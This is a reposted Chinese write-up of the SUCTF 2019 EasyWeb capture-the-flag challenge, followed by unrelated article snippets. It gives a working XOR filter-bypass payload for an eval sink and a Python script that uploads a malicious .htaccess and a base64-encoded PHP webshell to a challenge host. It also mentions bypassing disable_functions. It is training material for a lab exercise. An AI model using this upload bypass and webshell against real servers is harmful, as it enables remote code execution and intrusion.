[SUCTF 2019]EasyWeb --不會編程的崽

個人認為,這題還算有些東西。先來看源碼

<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>

?還是很好理解,首先通過_傳參,經過一系列過濾,然后執行參數。這里應該要去調用get_the_flag()函數。這個函數是一個文件上傳的功能,首先獲取你的ip并生成文件路徑,在判斷文件后綴是否含有ph(無論大小寫),文件內容是否含有<?,在判斷文件是否為圖片。了解這些后,開始一步步攻破。

1.[\x00- 0-9A-Za-z]:匹配任意ASCII字符,包括數字和大小寫字母。

? ??\'"\~_&.,|=`:匹配特定的字符,包括單引號、雙引號、反引號、波浪線、下劃線、和符號、逗? ? ? 號、點號、豎線和等號。

?[\x7F]+:匹配ASCII碼為127(十六進制為0x7F)的字符,即刪除字符

? 過濾了這些大概也能猜到要怎么繞過了吧,就是異或繞過。如果直接構造phpinfo會太長。所以構? ? 造_GET

<?php
function finds($string){$index = 0;$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];for($i=27;$i<count($a);$i++){for($j=27;$j<count($a);$j++){$x = $a[$i] ^ $a[$j];for($k = 0;$k<strlen($string);$k++){if(ord($string[$k]) == $x){echo $string[$k]."\n";echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";$index++;if($index == strlen($string)){return 0;}}}}}
}
finds("_GET");
?>

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=phpinfo

?其實flag已經找到了,哈哈哈

這應該是一個小瑕疵,還是用正常的解法吧。去訪問get_the_flag()函數。

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag

路徑是remote_addr的md5值,這就是構造phpinfo的原因。這里就不太方便放出我的真實ip。?

?

訪問一下確實存在

到這就要到下一步了,構造數據包。

第一步它過濾了后包含ph的后綴。ctf做多了應該明白了吧。大概率要傳.htaccess或者在有php文件的情況下傳.user.ini。這里使用htaccess。因為要檢測是否為圖片。所以頭還得加上

#define width 1337
#define height 1337

第二過濾<?。這里使用base64編碼繞過

第三,exif_imagetype()是否為圖片,使用GIF89a之類的就行。因為要進行base64解碼,如果單單只是GIF89a,解碼會報錯影響后邊,所以構造GIF89a12就不會解碼報錯了。

沒有上傳入口就使用腳本上傳

import requests
import base64htaccess = b"""#define width 1337
#define height 1337 
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell.txt"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://4ec51500-93fb-4c41-b573-4f0ad09c5c40.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag"files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)files = {'file':('shell.txt',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

?拿蟻劍連接一下,發現看不了根目錄,估計又是disable_function。使用下邊這個工具模式繞過它

?可以自己去下載

?

flag就在根目錄下邊?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/713201.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/713201.shtml
英文地址,請注明出處:http://en.pswp.cn/news/713201.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Slurm作業系統

1、什么是計算機集群 計算機集群是由多臺獨立的計算機&#xff08;節點&#xff09;通過網絡連接在一起&#xff0c;以共同完成任務的一種計算機系統結構。集群系統旨在提高性能、可用性和可擴展性。以下是計算機集群的一般結構和組成要素&#xff1a; 節點&#xff08;Nodes&…

android Service 與 activity 通信 并不斷傳數據

注&#xff1a;這只是個Demo 以下載為案例&#xff0c;實現開啟下載&#xff0c;暫停下載&#xff0c;下載進度不斷發送給activity class DownloadService : Service() {override fun onBind(intent: Intent?): IBinder? {return MyBinder()}inner class MyBinder : Binder…

分布式任務調度平臺XXL-JOB安裝及使用

簡介 XXL-JOB是一個分布式任務調度平臺&#xff0c;其核心設計目標是開發迅速、學習簡單、輕量級、易擴展。現已開放源代碼并接入多家公司線上產品線&#xff0c;開箱即用。 源碼github地址 源碼gitee地址 中文文檔地址 中央倉庫地址 <!-- http://repo1.maven.org/ma…

云原生團隊如何實現加量不加價

隨著云原生技術的快速發展&#xff0c;越來越多的業務實現了上云&#xff0c;云原生團隊在工作量增大的同時也隨之變成了所有問題對接的入口&#xff0c;如何承擔這個保姆的角色成為了一道難題&#xff0c;故障的定界和問題證據的交接更是讓人頭疼的問題。在這種情況下需要有工…

Python Web開發記錄 Day5:jQuery(JavaScript庫)

名人說&#xff1a;莫道桑榆晚&#xff0c;為霞尚滿天。——劉禹錫&#xff08;劉夢得&#xff0c;詩豪&#xff09; 創作者&#xff1a;Code_流蘇(CSDN)&#xff08;一個喜歡古詩詞和編程的Coder&#x1f60a;&#xff09; 目錄 五、jQuery1、jQuery-選擇器和菜單案例①快速上…

水經微圖Web版1.6.0發布

讓每一個人都有自己的地圖&#xff01; 水經微圖&#xff08;簡稱“微圖”&#xff09;新版已上線&#xff0c;在該版本中主要新增了點線面圖層分組樣式設置、圖層排序并按序繪制、KML支持矢量符號的存儲、KML支持態勢標繪要素存儲和新增歷史地圖文本樣式等。 現在&#xff0…

Linux系統加固:限制用戶對資源的使用禁止IP源路由更改主機解析地址的順序設置umask值

Linux系統加固&#xff1a;限制用戶對資源的使用&禁止IP源路由&更改主機解析地址的順序&設置umask值 1.1 限制用戶對資源的使用1.2 禁止IP源路由1.3 更改主機解析地址的順序1.4 禁止ip路由轉發1.5 設置umask值 &#x1f496;The Begin&#x1f496;點點關注&#x…

Node 實現身份認證 token 的生成與應用

前后分離要用jwt進行認證&#xff0c;跨域 前后不分離要用session進行認證&#xff0c;不跨域 安裝 npm init npm install express npm install cors(解決跨域問題 ) npm install jsonwebtoken&#xff08;生成token字符串&#xff09; npm install express-jwt7(反轉成信…

數學建模的論文手應該如何準備?

數學建模的論文手應該如何準備&#xff1f; 寫論文的爭議點論文如何構建1. 文章結構1.1 摘要1.2 問題重述1.3 問題分析1.4 模型假設1.5 符號說明1.6 模型的建立與求解關于模型陳述問題和模型過程中模型求解 1.7 模型的檢驗分析1.8 模型評價和推廣1.9 參考文獻1.10 附錄 2. 常用…

AtCoder Beginner Contest 341

C - Takahashi Gets Lost 分析&#xff1a;數據小&#xff0c;暴力沒什么好說的 int h,w,n; string t; char c[505][505]; int dx[4]{1,-1,0,0}; int dy[4]{0,0,1,-1}; int get(char c){if(cL)return 3;if(cU)return 1;if(cR)return 2;return 0; } int check(int x,int y,int …

38.云原生之Istio安全-流量鑒權加密

云原生專欄大綱 文章目錄 TLS 和 mTLSTLS 和 mTLS使用場景TLS 加密通信的流程終止 TLS什么時候用 mTLS&#xff1f;什么時候不用 mTLS&#xff1f; 流量加密入口流量加密內部流量加密PeerAuthentication 為工作負載設置 mTLSDestinationRule 為工作負載設置 mTLS 安全最佳實戰…

OpenAI 中文文檔

模型&#xff08;Model&#xff09; https://openai.xiniushu.com/docs/modelsOpenAI 中文文檔

hive 中少量數據驗證函數的方法-stack

可以使用 stack 將少量數據直接寫在sql中,然后用于驗證是否正確 1、每個省累計銷量前1名的城市 t1(pro_name,city_name,sale_num,sale_date&#xff09; 源數據&#xff1a; ‘河北’,‘石家莊’,‘1’,‘2022-01-01’ ,‘河北’,‘石家莊’,‘2’,‘2022-01-02’ ,‘河北’,‘…

【vue3 路由使用與講解】vue-router : 超詳細全面介紹

# 核心內容介紹 路由跳轉有兩種方式&#xff1a; 聲明式導航&#xff1a;<router-link :to"...">編程式導航&#xff1a;router.push(...) 或 router.replace(...) &#xff1b;兩者的規則完全一致。 push(to: RouteLocationRaw): Promise<NavigationFailur…

Secure Boot(安全啟動)

Secure Boot&#xff08;安全啟動&#xff09;的原理基于鏈式驗證&#xff0c;這是一種確保計算機在啟動過程中只加載和執行經過認證的軟件的機制。這個過程涉及到硬件、固件和操作系統的多個層面。以下是Secure Boot的基本原理&#xff1a; 密鑰和證書&#xff1a;Secure Boot…

day07_分類管理EasyExcel品牌管理

文章目錄 1 分類管理1.1 菜單添加1.2 表結構介紹1.3 頁面制作1.4 列表查詢1.4.1 需求分析1.4.2 后端接口CategoryCategoryControllerCategoryServiceCategoryMapperCategoryMapper.xml 1.4.3 前端對接category.jscategory.vue 2 EasyExcel2.1 數據導入導出意義2.2 EasyExcel簡介…

ABAP - SALV教程 01- 開篇:打開SALV的三種方式之一

關于SALV&#xff0c;這里參考巨佬江正軍的文章講解&#xff0c;在做SAP開發的遇到困難和瓶頸的時候&#xff0c;每每讀到巨佬的文章都會靈感爆發、醍醐灌頂。https://www.cnblogs.com/jiangzhengjun/p/4291387.html 博主由于是由JAVA轉型的ABAP開發&#xff0c;剛接觸ABAP的時…

力扣細節題:判斷是否為平衡二叉樹

經典題&#xff0c;需要記憶&#xff0c;且注意fabs和fmax函數的使用 /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/int deep(struct TreeNode*root){if(rootNULL){return 0;}r…

Unity3D 渲染隊列 ZTest與ZWrite詳解

前言 在Unity3D中&#xff0c;渲染隊列&#xff08;Rendering Queue&#xff09;是一個非常重要的概念&#xff0c;它決定了游戲中各個物體的渲染順序和優先級。而在渲染隊列中&#xff0c;ZTest和ZWrite又是兩個關鍵的參數&#xff0c;它們決定了物體在渲染的過程中如何處理深…

研發效能最佳實踐:持續集成應用實踐丨IDCF

作者&#xff1a;謝帶達 研發效能&#xff08;DevOps&#xff09;工程師&#xff08;中級&#xff09;認證學員 一、DevOps概述 DevOps的發展可以追溯到2009年&#xff0c;當時由Patrick Debois和Andrew Clay Shafer發起了第一次DevOps Days會議。隨后&#xff0c;DevOps開始…